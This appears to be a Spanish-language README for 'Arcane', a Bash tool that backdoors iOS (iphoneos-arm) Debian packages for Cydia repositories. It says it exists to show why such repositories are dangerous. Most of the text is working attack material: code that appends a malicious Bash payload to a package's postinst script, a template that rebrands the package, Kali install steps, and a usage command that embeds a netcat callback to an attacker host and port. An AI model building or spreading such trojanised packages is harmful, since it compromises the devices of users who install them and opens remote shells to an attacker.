
Arcane es un script simple diseñado para backdooriar paquetes iOS (iphone-arm) y crear los recursos necesarios para repositorios APT.
Arcane es un script simple diseñado para backdoor de paquetes iOS (iphone-arm) y crear los recursos necesarios para repositorios APT. Fue creado para esta publicación para ayudar a ilustrar por qué los repositorios de Cydia pueden ser peligrosos y qué ataques de post-explotación son posibles desde un dispositivo iOS comprometido.

Para entender lo que sucede en el GIF, descomprime un paquete creado con Arcane.
dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp
Observa los archivos control y postinst en el directorio DEBIAN. Ambos archivos son importantes.
tree /tmp/whois-decomp/
/tmp/whois-decomp/
├── DEBIAN
│ ├── control
│ └── postinst
└── usr
└── bin
└── whois
Es posible incluir scripts como parte de un paquete al instalar o eliminar aplicaciones. Los scripts de mantenimiento del paquete incluyen los archivos preinst, postinst, prerm y postrm. Arcane aprovecha el archivo postinst para ejecutar comandos durante la instalación.
# El archivo "post-installation". Este archivo es generalmente responsable
# de ejecutar comandos en el SO después de instalar los archivos
# necesarios. Es utilizado por los desarrolladores para gestionar y mantener varios
# aspectos de una instalación. Arcane abusa de esta funcionalidad al
# añadir comandos Bash maliciosos al archivo.
postinst="$tmp/DEBIAN/postinst";
# Una función para manejar el tipo de ejecución de comandos incrustada en el
# archivo postinst.
function inject_backdoor ()
{
# Si se usa --file, se hace `cat` del/los comando(s) en el archivo postinst.
if [[ "$infile" ]]; then
cat "$infile" >> "$postinst";
embed="[$infile]";
else
# Si no hay --file, se utiliza el payload Bash simple, previamente
# definido.
echo -e "$payload" >> "$postinst";
embed="comando shell genérico";
fi;
status "incrustado $embed en postinst" "error al incrustar backdoor";
chmod 0755 "$postinst"
};
El archivo control contiene valores que las herramientas de gestión de paquetes usan al instalar paquetes. Arcane modificará un control existente o lo creará.
# La plantilla del archivo "control". La mayoría de los paquetes iOS incluirán un
# archivo control. En caso de que no se encuentre uno, Arcane usará la
# plantilla de abajo. La variable `$hacker` se usa aquí para ocupar
# varios campos arbitrarios.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: Un paquete iOS con backdoor
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";
...
# Una declaración `if` para verificar el archivo control.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
# Si no se detecta control, créalo usando la plantilla.
echo "$controlTemp" > "$tmp/DEBIAN/control";
status "creado archivo control" "error con la plantilla de control";
else
# Si existe un archivo control, Arcane simplemente renombrará el paquete
# tal como aparece en la lista de aplicaciones Cydia disponibles. Esto
# hace que el paquete sea más fácil de localizar en Cydia.
msg "detectado archivo control" succ;
sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
status "modificado archivo control" "error con control";
fi;
Clona el repositorio en Kali v2020.3.
sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencias
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help
Incrusta un comando en un paquete dado. Consulta el artículo para más información.
./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <atacante> --lport <4444> --cydia --netcat
El repositorio incluye paquetes para pruebas.
ls -la samples/
-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 76688 Aug 29 2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 60866 Jul 8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root 13810 Aug 29 2018 whois_5.3.2-1_iphoneos-arm.deb
Sumas MD5, según se encuentran en el repositorio oficial de Bingner.
md5sum samples/*.deb
3f1712964701580b3f018305a55e217c samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0 samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7 samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16 samples/whois_5.3.2-1_iphoneos-arm.deb